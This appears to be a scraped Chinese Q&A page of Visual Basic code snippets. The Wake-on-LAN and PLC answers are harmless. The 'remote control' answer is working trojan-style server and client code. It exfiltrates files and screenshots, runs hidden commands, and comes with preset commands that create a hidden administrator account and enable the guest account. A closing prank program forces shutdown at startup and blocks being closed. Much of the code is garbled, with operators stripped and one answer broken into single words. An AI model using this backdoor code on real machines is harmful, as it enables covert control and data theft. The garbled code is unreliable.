vb远程开机代码（vb代码在线运行）

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本文目录一览：

• 1、vb远程开机代码
• 2、谁有Vb 远程控制的代码呀，利用winsock编写的，客户端和服务器端，能控制对方界面的，
• 3、VB编程如何实现对中央空调的远程开关机操作
• 4、谁知到VB中怎样的代码 能让计算机一开机就运行

vb远程开机代码

'以下内容摘自网络，未进行验证

'此程序主要功能是用VB实现远程开机；

'一台电脑要想实现网上远程开机，其主板和网卡必须都支持远程唤醒功能，然后还得进入BIOS设置COMS，至于如何设置，不同的主板设置

'方法也可能不一样，请参考有关资料 设置好COMS后就可以用本程序发送远程开机命令了

'如果想要广域网远程开机，那么除了设置COMS外，还得对路由器进行一定的设置

'新建一个工程，在Form1上添加三个Text控件，三个标签控件，一个命令按钮和一个Winsock1控件，然后复制下面的代码到Form1

Dim MagicPacket(0 To 101) As Byte   '魔术包

Dim myMAC(0 To 5) As Byte           '欲唤醒的主机的MAC地址

Private Sub StrToMAC(ByVal myStrMAC As String)      '将MAC地址的字符串形式转化为十六进制数值保存在数组myMAC里     Dim i As Integer

    Dim tempStr As String

    For i = 0 To 5

        tempStr = Mid(myStrMAC, i * 2 + 1, 2)

        myMAC(i) = "H"  tempStr

        Next i

End Sub

Private Sub Command1_Click()   '发送远程开机命令

    Dim i As Integer

    Winsock1.RemoteHost = Text2.Text

    Winsock1.RemotePort = Text3.Text

    Call StrToMAC(Text1.Text)

    For i = 0 To 5      '以下两个For是创建一个魔术包

        MagicPacket(i) = 255

    Next i

    For i = 6 To 101

        MagicPacket(i) = myMAC((i Mod 6))

    Next i

    Winsock1.SendData MagicPacket   '发送魔术包(不管是在局域网还是在广域网，只要一台电脑检测到对应MAC的魔术包就会自动唤醒)

End Sub

Private Sub Form_Load()

    Label1.Caption = "MAC地址："

    Label2.Caption = "所在网段的广播地址(IP)："

    Label3.Caption = "广播端口："

    Command1.Caption = "发送远程开机命令"

    Winsock1.Protocol = sckUDPProtocol   '使用UDP协议

    Text1.Text = "010203ABCDEF"          '欲唤醒的电脑的MAC地址，MAC地址的格式要求这样填(数值之间没有其它字符)

    Text2.Text = "192.168.1.255"         '广播地址(因为远程电脑已关机，没有IP地址，所以只能以广播形式找到要打开的电脑，广域网的话填路由器的IP)

    Text3.Text = "0"                     '端口号，在局域网里的话就为0吧，广域网的话就看你的路由器开放哪个端口了！

End Sub

谁有Vb 远程控制的代码呀，利用winsock编写的，客户端和服务器端，能控制对方界面的，

其实很简单 就是一个 wisock 控件

下面是说明

用wisock控件做，必须知道一方的IP，如被控制方IP。

被控制方程序：

Private Sub Form_Load()

Winsock1.LocalPort = 2555

Winsock1.Listen

End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)

Winsock2(i).Accept requestID

End Sub

Private Sub Winsock2_DataArrival(Index As Integer, ByVal bytesTotal As Long)

Dim strtmp As String

Winsock2(Index).GetData strtmp

'判断strtmp，是指定内容，就执行相关代码。略

End Sub

控制方程序：（假设对方IP是222.222.222.222）

Private Sub Command1_Click()

Dim strtmp As String

strtmp = Text1

While Winsock1.State 7

DoEvents

Wend

Winsock1.SendData strtmp

End Sub

Private Sub Form_Load()

Winsock1.Connect "222.222.222.222", 2555

End Sub 附件： 我的源代码

--------------服务端

Option Explicit

Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

Const theScreen = 1

Const theForm = 0

Dim filetypes As String

'查找第一个文件的API

Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long

'查找下一个文件的API

Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long

'获取文件属性的API

Private Declare Function GetFileAttributes Lib "kernel32" Alias "GetFileAttributesA" (ByVal lpFileName As String) As Long

'关闭查找文件的API

Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long

'以下为调用浏览文件夹窗口的API

Private Declare Sub CoTaskMemFree Lib "ole32.dll" (ByVal hMem As Long)

Private Declare Function lstrcat Lib "kernel32" Alias "lstrcatA" (ByVal lpString1 As String, ByVal lpString2 As String) As Long

Private Declare Function SHBrowseForFolder Lib "shell32" (lpbi As BrowseInfo) As Long

Private Declare Function SHGetPathFromIDList Lib "shell32" (ByVal pidList As Long, ByVal lpBuffer As String) As Long

'常量

Const MAX_PATH = 260

Const MAXDWORD = HFFFF

Const INVALID_HANDLE_VALUE = -1

Const FILE_ATTRIBUTE_ARCHIVE = H20

Const FILE_ATTRIBUTE_DIRECTORY = H10

Const FILE_ATTRIBUTE_HIDDEN = H2

Const FILE_ATTRIBUTE_NORMAL = H80

Const FILE_ATTRIBUTE_READONLY = H1

Const FILE_ATTRIBUTE_SYSTEM = H4

Const FILE_ATTRIBUTE_TEMPORARY = H100

Const BIF_RETURNONLYFSDIRS = 1

Private Type FILETIME

dwLowDateTime As Long

dwHighDateTime As Long

End Type

'定义类(用于查找文件)

Private Type WIN32_FIND_DATA

dwFileAttributes As Long

ftCreationTime As FILETIME

ftLastAccessTime As FILETIME

ftLastWriteTime As FILETIME

nFileSizeHigh As Long

nFileSizeLow As Long

dwReserved0 As Long

dwReserved1 As Long

cFileName As String * MAX_PATH

cAlternate As String * 14

End Type

'定义类(用于浏览文件夹窗口)

Private Type BrowseInfo

hWndOwner As Long

pIDLRoot As Long

pszDisplayName As Long

lpszTitle As Long

ulFlags As Long

lpfnCallback As Long

lParam As Long

iImage As Long

End Type

'自定义函数

Function StripNulls(OriginalStr As String) As String

If (InStr(OriginalStr, Chr(0)) 0) Then

OriginalStr = Left(OriginalStr, InStr(OriginalStr, Chr(0)) - 1)

End If

StripNulls = OriginalStr

End Function

'自定义函数

Function FindFilesAPI(path As String, SearchStr As String, FileCount As Integer, _

DirCount As Integer)

SearchStr = "*.*"

Dim wenjianmulu As String

Dim FileName As String ' 文件名

Dim DirName As String ' 子目录名

Dim dirNames() As String ' 目录数组

Dim nDir As Integer ' 当前路径的目录数

Dim i As Integer ' 循环计数器变量

Dim hSearch As Long ' 搜索句柄变量

Dim WFD As WIN32_FIND_DATA

Dim Cont As Integer

If Right(path, 1) "\" Then path = path "\"

'搜索子目录

nDir = 0

ReDim dirNames(nDir)

Cont = True

hSearch = FindFirstFile(path "*", WFD)

If hSearch INVALID_HANDLE_VALUE Then

Do While Cont

DirName = StripNulls(WFD.cFileName)

If (DirName ".") And (DirName "..") Then

If GetFileAttributes(path DirName) And FILE_ATTRIBUTE_DIRECTORY Then

dirNames(nDir) = DirName

DirCount = DirCount + 1

nDir = nDir + 1

ReDim Preserve dirNames(nDir)

End If

End If

Cont = FindNextFile(hSearch, WFD) '获取下一个子目录

Loop

Cont = FindClose(hSearch)

End If

' 遍历目录并累计文件总数

hSearch = FindFirstFile(path SearchStr, WFD)

Cont = True

If hSearch INVALID_HANDLE_VALUE Then

While Cont

FileName = StripNulls(WFD.cFileName)

If (FileName ".") And (FileName "..") Then

FindFilesAPI = FindFilesAPI + (WFD.nFileSizeHigh * MAXDWORD) + WFD.nFileSizeLow

FileCount = FileCount + 1

List1.AddItem path FileName Format(((WFD.nFileSizeHigh * MAXDWORD) + WFD.nFileSizeLow) / 1024, "#,###,###,##0") "k"

wenjianmulu = wenjianmulu + "llwjml" path FileName

End If

Cont = FindNextFile(hSearch, WFD) ' 获取下一个文件

Wend

Cont = FindClose(hSearch)

End If

'如果子目录存在则遍历之

Ws.SendData wenjianmulu

End Function

Private Sub Command2_Click()

Print Ws.State

End Sub

Private Sub Command3_Click()

Dim FileName As String

FileName = Trim(Text2.Text)

Dim Buffer() As Byte

Dim fLen As Long

Dim FPath As String

FPath = FileName

fLen = FileLen(FPath)

ReDim Buffer(fLen - 1)

Open FPath For Binary As #3

Get #3, 1, Buffer

Close #3

Ws.SendData Buffer

End Sub

Private Sub Form_Load()

Ws.LocalPort = 7758

Ws.Listen

'传递文件类型

End Sub

Private Sub List1_DblClick()

MsgBox List1.Text

End Sub

Private Sub Ws_Close()

Ws.Close

Ws.Listen

End Sub

Private Sub Ws_ConnectionRequest(ByVal requestID As Long)

If Ws.State sckClosed Then Ws.Close

Ws.Accept requestID

End Sub

Private Sub Ws_DataArrival(ByVal bytesTotal As Long)

Dim tmp As String, tmp1 As String

Ws.GetData tmp, vbString

tmp1 = Mid(tmp, 1, 6)

Select Case tmp1

Case "msgbox"

MsgBox Mid(tmp, 7), vbOKOnly, "警告!"

Case "dakaiw"

Call FindFilesAPI(Mid(tmp, 7), "*.*", 1, 1)

Case "yunxin"

Shell Mid(tmp, 7), vbHide

Case "yuanpm"

'MsgBox Mid(tmp, 7)

Call keybd_event(vbKeySnapshot, theForm, 0, 0)

'若theForm改成theScreen则Copy整个Screen

DoEvents

Picture1.Picture = Clipboard.GetData(vbCFBitmap)

SavePic Picture1.Picture, "C:\\1.gif", ".gif"

Dim Buffer1() As Byte

Dim fLen1 As Long

Dim FPath1 As String

FPath1 = "C:\\1.gif"

fLen1 = FileLen(FPath1)

ReDim Buffer1(fLen1 - 1)

Open FPath1 For Binary As #3

Get #3, 1, Buffer1

Close #3

Ws.SendData Buffer1

Case "xiazai"

Dim FileName As String

FileName = Mid(tmp, 7)

Dim Buffer() As Byte

Dim fLen As Long

Dim FPath As String

FPath = FileName

fLen = FileLen(FPath)

ReDim Buffer(fLen - 1)

Open FPath For Binary As #3

Get #3, 1, Buffer

Close #3

Ws.SendData Buffer

End Select

End Sub

Sub Command1_Click()

Dim SearchPath As String, FindStr As String

Dim FileSize As Long

Dim NumFiles As Integer, NumDirs As Integer

Dim iNull As Integer, lpIDList As Long, lResult As Long

Dim sPath As String, udtBI As BrowseInfo

With udtBI

'设置浏览窗口

.hWndOwner = Me.hWnd

'.lpszTitle = "浏览器的标题" '但我试了很多次都出错（出错码13）

'返回选中的目录

.ulFlags = BIF_RETURNONLYFSDIRS

End With

'调出浏览窗口

lpIDList = SHBrowseForFolder(udtBI)

'如果点击“取消”，则关闭浏览窗口

If lpIDList = 0 Then Exit Sub

If lpIDList Then

sPath = String$(MAX_PATH, 0)

'获取路径

SHGetPathFromIDList lpIDList, sPath

'释放内存

CoTaskMemFree lpIDList

iNull = InStr(sPath, vbNullChar)

If iNull Then

sPath = Left$(sPath, iNull - 1)

End If

End If

Screen.MousePointer = vbHourglass

'List1.Clear

SearchPath = sPath '选中的目录为搜索的起始路径

FindStr = filetypes '搜索所有类型的文件(此处可另作定义)

On Error Resume Next

FileSize = FindFilesAPI(SearchPath, FindStr, NumFiles, NumDirs)

Text1.Text = "查找到的文件数：" NumFiles "个 " vbCrLf "查找的目录数：" _

NumDirs + 1 "个 " vbCrLf "文件大小总共为：" _

Format(FileSize, "#,###,###,##0") "字节"

Screen.MousePointer = vbDefault

'显示文件大小时，如果文件太多会出错，我想不出解决的办法

End Sub

--------客户端

Dim strFileName As String

Private Sub Command3_Click()

Wc.SendData "yunxin" Combo2.Text

End Sub

Private Sub Command5_Click() '下载文件

If Dir(strFileName) "" Then

Kill strFileName

End If

Wc.SendData "xiazai" List1.Text

strFileName = "c:\\" Right(List1.Text, 5)

End Sub

Private Sub Command6_Click()

If Dir(strFileName) "" Then

Kill strFileName

End If

strFileName = "C:\\chongwu123.gif"

Wc.SendData "yuanpm" "fffff"

If MsgBox("444", vbOKCancel) = 2 Then

End If

Form2.Show

End Sub

Private Sub Form_Load()

strFileName = InputBox("baocun", , "C:\\chongwu123.gif")

Wc.RemoteHost = "127.0.0.1" '远程IP地址

Wc.RemotePort = 7758 '远程端口

Wc.Connect

Combo1.AddItem "C:\"

Combo1.AddItem "D:\"

Combo1.AddItem "E:\"

Combo1.AddItem "F:\"

Combo1.AddItem "G:\"

Combo1.AddItem "H:\"

Combo1.AddItem "C:\WINDOWS"

Combo1.AddItem "C:\WINDOWS\system32"

Combo1.AddItem "C:\Documents and Settings\All Users\「开始」菜单\程序\启动"

Combo1.AddItem "C:\Program Files"

Combo2.AddItem "cmd /c net user qyjack qyjack /add"

Combo2.AddItem "cmd /c net user qyjack /del"

Combo2.AddItem "cmd /c net user guest /active:yes"

Combo2.AddItem "cmd /c net localgroup administrators qyjack /add"

End Sub

Private Sub Wc_ConnectionRequest(ByVal requestID As Long)

If Wc.State sckClosed Then Wc.Close

Wc.Accept requestID

End Sub

Private Sub Command1_Click() '打开目录

If Dir(strFileName) "" Then

Kill strFileName

End If

Dim str As String, str1 As String

str1 = Trim(Combo1.Text)

str = "dakaiw" str1

Wc.SendData str

End Sub

Private Sub List1_DblClick()

If Dir(strFileName) "" Then

Kill strFileName

End If

Wc.SendData "dakaiw" List1.Text

End Sub

Private Sub Command2_Click() '发送消息

Dim str As String, str1 As String

str1 = Trim(Text2.Text)

str = "msgbox" str1

Wc.SendData str

End Sub

Private Sub Wc_DataArrival(ByVal bytesTotal As Long)

Dim tmp As String, tmp1 As String, b() As String, i As Integer

Dim Buffer() As Byte

ReDim Buffer(bytesTotal)

'Wc.GetData tmp, vbString

Wc.GetData Buffer

Dim getLen As Long

Open strFileName For Binary As #1

getLen = LOF(1)

Put #1, getLen + 1, Buffer

Close #1

Open strFileName For Input As #2

Input #2, tmp

Close #2

Text5 = tmp

tmp1 = Mid(tmp, 1, 6)

Select Case tmp1

Case "llwjml"

List1.Clear

b() = Split(tmp, "llwjml")

For i = 1 To UBound(b, 1)

List1.AddItem b(i)

Next i

Case Else

End Select

End Sub

VB编程如何实现对中央空调的远程开关机操作

把电器开关移植或并联连接到PLC上。PLC由电脑控制。

至于VB编程不是太能理解。。我只知道我会用PLC控制我家的电器。

谁知到VB中怎样的代码 能让计算机一开机就运行

新建两个

label1

的组，一个是

label1(0)

另一个是

label1(1)

新建三个

command

新建一个

timer代码如下：Dim

dd

As

IntegerDim

ff

As

BooleanPrivate

Sub

Command1_Click()Timer1.Enabled

=

FalseTimer1.Interval

=

3000Timer1.Enabled

=

Trueff

=

TrueLabel1(1).Caption

=

"！"Label1(1).ForeColor

=

HFFCommand2.Visible

=

FalseCommand1.Visible

=

FalseCommand3.Visible

=

TrueEnd

SubPrivate

Sub

Command2_Click()dd

=

dd

+

1Select

Case

dd

Label1(1).Caption

=

"离关机还有

"

65

-

dd

"

秒。"End

SelectEnd

SubPrivate

Sub

Command3_Click()ff

=

TrueEndEnd

SubPrivate

Sub

Form_Load()Command3.Visible

=

Falsedd

=

0ff

=

FalseEnd

SubPrivate

Sub

Form_Unload(Cancel

As

Integer)If

Not

(ff)

Then

Cancel

=

True

End

IfEnd

SubPrivate

Sub

Timer1_Timer()If

ff

Then

EndIf

dd

65

Then

dd

=

dd

+

1

Label1(1).Caption

=

"离关机还有

"

65

-

dd

"

秒。"Else

Shell

"shutdown

-s

-t

0"

ff

=

TrueEnd

IfEnd

Sub

编写好后

把该VB程序放到

开始菜单-程序-启动

里面

就行了

如果帮助到您，请记得采纳为满意答案哈，谢谢！祝您生活愉快！

vae.la

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